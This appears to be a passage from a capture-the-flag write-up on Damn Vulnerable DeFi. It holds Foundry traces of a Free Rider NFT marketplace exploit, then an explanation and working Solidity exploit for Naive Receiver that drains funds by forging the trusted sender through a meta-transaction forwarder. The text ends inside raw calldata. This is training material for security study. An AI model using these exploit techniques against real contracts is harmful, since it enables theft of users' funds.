    │   │   │   │   │   ├─ emit Transfer(from: deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 2)
    │   │   │   │   │   ├─ [1756] FreeRiderAttacker::onERC721Received(FreeRiderNFTMarketplace: [0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc], deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], 2, 0x)
    │   │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(2) [staticcall]
    │   │   │   │   │   └─ ← [Return] FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219]
    │   │   │   │   ├─ [55] FreeRiderAttacker::receive{value: 15000000000000000000}()
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ emit NFTBought(buyer: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 2, price: 15000000000000000000 [1.5e19])
    │   │   │   │   ├─ [3051] DamnValuableNFT::ownerOf(3) [staticcall]
    │   │   │   │   │   └─ ← [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    │   │   │   │   ├─ [13584] DamnValuableNFT::safeTransferFrom(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 3)
    │   │   │   │   │   ├─ emit Transfer(from: deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 3)
    │   │   │   │   │   ├─ [1756] FreeRiderAttacker::onERC721Received(FreeRiderNFTMarketplace: [0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc], deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], 3, 0x)
    │   │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(3) [staticcall]
    │   │   │   │   │   └─ ← [Return] FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219]
    │   │   │   │   ├─ [55] FreeRiderAttacker::receive{value: 15000000000000000000}()
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ emit NFTBought(buyer: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 3, price: 15000000000000000000 [1.5e19])
    │   │   │   │   ├─ [3051] DamnValuableNFT::ownerOf(4) [staticcall]
    │   │   │   │   │   └─ ← [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    │   │   │   │   ├─ [13584] DamnValuableNFT::safeTransferFrom(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 4)
    │   │   │   │   │   ├─ emit Transfer(from: deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 4)
    │   │   │   │   │   ├─ [1756] FreeRiderAttacker::onERC721Received(FreeRiderNFTMarketplace: [0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc], deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], 4, 0x)
    │   │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(4) [staticcall]
    │   │   │   │   │   └─ ← [Return] FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219]
    │   │   │   │   ├─ [55] FreeRiderAttacker::receive{value: 15000000000000000000}()
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ emit NFTBought(buyer: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 4, price: 15000000000000000000 [1.5e19])
    │   │   │   │   ├─ [3051] DamnValuableNFT::ownerOf(5) [staticcall]
    │   │   │   │   │   └─ ← [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    │   │   │   │   ├─ [13584] DamnValuableNFT::safeTransferFrom(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 5)
    │   │   │   │   │   ├─ emit Transfer(from: deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 5)
    │   │   │   │   │   ├─ [1756] FreeRiderAttacker::onERC721Received(FreeRiderNFTMarketplace: [0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc], deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], 5, 0x)
    │   │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(5) [staticcall]
    │   │   │   │   │   └─ ← [Return] FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219]
    │   │   │   │   ├─ [55] FreeRiderAttacker::receive{value: 15000000000000000000}()
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ emit NFTBought(buyer: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 5, price: 15000000000000000000 [1.5e19])
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [62760] DamnValuableNFT::safeTransferFrom(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], 0, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], tokenId: 0)
    │   │   │   │   ├─ [31045] FreeRiderRecoveryManager::onERC721Received(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 0, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(0) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6]
    │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [14460] DamnValuableNFT::safeTransferFrom(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], 1, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], tokenId: 1)
    │   │   │   │   ├─ [7145] FreeRiderRecoveryManager::onERC721Received(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 1, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(1) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6]
    │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [14460] DamnValuableNFT::safeTransferFrom(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], 2, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], tokenId: 2)
    │   │   │   │   ├─ [7145] FreeRiderRecoveryManager::onERC721Received(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 2, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(2) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6]
    │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [14460] DamnValuableNFT::safeTransferFrom(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], 3, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], tokenId: 3)
    │   │   │   │   ├─ [7145] FreeRiderRecoveryManager::onERC721Received(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 3, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(3) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6]
    │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [14460] DamnValuableNFT::safeTransferFrom(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], 4, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], tokenId: 4)
    │   │   │   │   ├─ [7145] FreeRiderRecoveryManager::onERC721Received(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 4, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(4) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6]
    │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [21967] DamnValuableNFT::safeTransferFrom(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], 5, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], tokenId: 5)
    │   │   │   │   ├─ [14652] FreeRiderRecoveryManager::onERC721Received(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 5, 0x00000000000000000000000044e97af4418b7a17aabd8090bea0a471a366305c)
    │   │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(5) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6]
    │   │   │   │   │   ├─ [0] player::fallback{value: 45000000000000000000}()
    │   │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [24345] WETH::deposit{value: 15045135406218655968}()
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 15045135406218655968 [1.504e19])
    │   │   │   │   ├─ emit Deposit(who: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 15045135406218655968 [1.504e19])
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [3607] WETH::transfer(0xb86E50e24Ba2B0907f281cF6AAc8C1f390030190, 15045135406218655968 [1.504e19])
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: 0xb86E50e24Ba2B0907f281cF6AAc8C1f390030190, amount: 15045135406218655968 [1.504e19])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop]
    │   │   ├─ [825] WETH::balanceOf(0xb86E50e24Ba2B0907f281cF6AAc8C1f390030190) [staticcall]
    │   │   │   └─ ← [Return] 9000045135406218655968 [9e21]
    │   │   ├─ [2802] DamnValuableToken::balanceOf(0xb86E50e24Ba2B0907f281cF6AAc8C1f390030190) [staticcall]
    │   │   │   └─ ← [Return] 15000000000000000000000 [1.5e22]
    │   │   ├─ emit Sync(reserve0: 9000045135406218655968 [9e21], reserve1: 15000000000000000000000 [1.5e22])
    │   │   ├─ emit Swap(sender: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount0In: 15045135406218655968 [1.504e19], amount1In: 0, amount0Out: 15000000000000000000 [1.5e19], amount1Out: 0, to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219])
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    ├─ [0] VM::prank(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA])
    │   └─ ← [Return]
    ├─ [29235] DamnValuableNFT::transferFrom(FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], 0)
    │   ├─ emit Transfer(from: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], to: recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], tokenId: 0)
    │   └─ ← [Stop]
    ├─ [1051] DamnValuableNFT::ownerOf(0) [staticcall]
    │   └─ ← [Return] recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]
    ├─ [0] VM::assertEq(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::prank(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA])
    │   └─ ← [Return]
    ├─ [5335] DamnValuableNFT::transferFrom(FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], 1)
    │   ├─ emit Transfer(from: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], to: recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], tokenId: 1)
    │   └─ ← [Stop]
    ├─ [1051] DamnValuableNFT::ownerOf(1) [staticcall]
    │   └─ ← [Return] recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]
    ├─ [0] VM::assertEq(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::prank(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA])
    │   └─ ← [Return]
    ├─ [5335] DamnValuableNFT::transferFrom(FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], 2)
    │   ├─ emit Transfer(from: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], to: recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], tokenId: 2)
    │   └─ ← [Stop]
    ├─ [1051] DamnValuableNFT::ownerOf(2) [staticcall]
    │   └─ ← [Return] recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]
    ├─ [0] VM::assertEq(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::prank(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA])
    │   └─ ← [Return]
    ├─ [5335] DamnValuableNFT::transferFrom(FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], 3)
    │   ├─ emit Transfer(from: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], to: recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], tokenId: 3)
    │   └─ ← [Stop]
    ├─ [1051] DamnValuableNFT::ownerOf(3) [staticcall]
    │   └─ ← [Return] recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]
    ├─ [0] VM::assertEq(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::prank(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA])
    │   └─ ← [Return]
    ├─ [5335] DamnValuableNFT::transferFrom(FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], 4)
    │   ├─ emit Transfer(from: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], to: recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], tokenId: 4)
    │   └─ ← [Stop]
    ├─ [1051] DamnValuableNFT::ownerOf(4) [staticcall]
    │   └─ ← [Return] recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]
    ├─ [0] VM::assertEq(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::prank(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA])
    │   └─ ← [Return]
    ├─ [5335] DamnValuableNFT::transferFrom(FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], 5)
    │   ├─ emit Transfer(from: FreeRiderRecoveryManager: [0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6], to: recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], tokenId: 5)
    │   └─ ← [Stop]
    ├─ [1051] DamnValuableNFT::ownerOf(5) [staticcall]
    │   └─ ← [Return] recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]
    ├─ [0] VM::assertEq(recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA], recoveryManagerOwner: [0x8202e87CCCc6cc631040a3dD1b7A1A54Fbbc47aA]) [staticcall]
    │   └─ ← [Return]
    ├─ [425] FreeRiderNFTMarketplace::offersCount() [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::assertLt(15000000000000000000 [1.5e19], 90000000000000000000 [9e19]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::assertGt(45060000000000000000 [4.506e19], 45000000000000000000 [4.5e19]) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.62ms (4.17ms CPU time)


Naive Receiver Challenge


Challenge Overview

This challenge exploits an access control flaw in a meta-transaction system combined with a flashloan fee mechanism. A vulnerable pool offers flashloans with a fixed 1 WETH fee. The victim (user) has a receiver contract with 10 WETH balance and unknowingly becomes the target of draining attacks via flashloans.

The objective is to drain all WETH from both the pool and the user’s receiver contract, and deposit the funds into a designated recovery address.


Smart Contract Breakdown

Key Contracts

  • NaiveReceiverPool: Offers flashloans of WETH with a fixed fee of 1 WETH per call.
  • FlashLoanReceiver: A sample user-deployed contract able to receive flashloans.
  • BasicForwarder: A meta-transaction forwarder that allows execution of calls on behalf of users via valid signatures.

Important Mechanisms

  • flashLoan(address receiver, address token, uint256 amount, bytes calldata data)
    Executes a flashloan and charges a 1 WETH fee, regardless of loan amount.
  • multicall(bytes[] calldata data)
    Allows batching of multiple calls in a single transaction.
  • forwarder.execute(request, signature)
    Permits off-chain signed execution of calls via the meta-transaction forwarder.

⚠️ Vulnerability Explained

The forwarder blindly trusts the sender field embedded in the calldata of withdraw() when processed via multicall(). This creates a spoofable sender situation. An attacker can:

  1. Encode a series of flashloan calls to drain the victim receiver’s balance.
  2. Add a withdraw() call to extract all funds from the pool by spoofing ownership using abi.encodePacked(...).
  3. Sign the entire payload off-chain and have the forwarder execute it.

Exploit Strategy

  1. Encode 10 consecutive flashloans that charge the victim’s receiver 1 WETH each (draining 10 WETH total).
  2. Encode a withdraw() call that drains both pool and receiver funds.
  3. Combine calls using multicall().
  4. Forge the sender identity by packing the deployer address at the end of the call data.
  5. Execute the entire call using forwarder.execute() with a valid EIP-712 signature.

Exploit Code (Solidity)

function test_naiveReceiver() public checkSolvedByPlayer {
    bytes ;

    for (uint i = 0; i < 10; i++) {
        callDatas[i] = abi.encodeCall(
            NaiveReceiverPool.flashLoan,
            (receiver, address(weth), 0, "0x")
        );
    }

    callDatas[10] = abi.encodePacked(
        abi.encodeCall(
            NaiveReceiverPool.withdraw,
            (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))
        ),
        bytes32(uint256(uint160(deployer)))
    );

    bytes memory multicallData = abi.encodeCall(pool.multicall, callDatas);

    BasicForwarder.Request memory request = BasicForwarder.Request(
        player,
        address(pool),
        0,
        gasleft(),
        forwarder.nonces(player),
        multicallData,
        1 days
    );

    bytes32 requestHash = keccak256(
        abi.encodePacked(
            "\x19\x01",
            forwarder.domainSeparator(),
            forwarder.getDataHash(request)
        )
    );
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
    bytes memory signature = abi.encodePacked(r, s, v);

    forwarder.execute(request, signature);
}

Proof of Exploit:

 simple to explain test case :
[PASS] test_naiveReceiver() (gas: 477289)
Balance assertions:
WETH in FlashLoanReceiver: 0
WETH in NaiveReceiverPool: 0
WETH in recovery: 1010 WETH (successfully rescued all funds)

Using Foundry  to run testCase(o/p):

Ran 1 test for test/naive-receiver/NaiveReceiver.t.sol:NaiveReceiverChallenge
[PASS] test_naiveReceiver() (gas: 477289)
Traces:
  [601877] NaiveReceiverChallenge::test_naiveReceiver()
    ├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    │   └─ ← [Return]
    ├─ [2823] BasicForwarder::nonces(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [599] BasicForwarder::domainSeparator() [staticcall]
    │   └─ ← [Return] 0x195a83794daaa3fd456b03f6e4648d959ea3719c9fbdd4a111541654d5c613b2
    ├─ [5020] BasicForwarder::getDataHash(Request({ from: 0x44E97aF4418b7a17AABD8090bEA0A471a366305C, target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, value: 0, gas: 1073681376 [1.073e9], nonce: 0, data: 0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000026000000000000000000000000000000000000000000000000000000000000003600000000000000000000000000000000000000000000000000000000000000460000000000000000000000000000000000000000000000000000000000000056000000000000000000000000000000000000000000000000000000000000006600000000000000000000000000000000000000000000000000000000000000760000000000000000000000000000000000000000000000000000000000000086000000000000000000000000000000000000000000000000000000000000009600000000000000000000000000000000000000000000000000000000000000a600000000000000000000000000000000000000000000000000000000000000b6000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000230780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c45cffe9de0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000008ad159a275aee56fb2334dbb6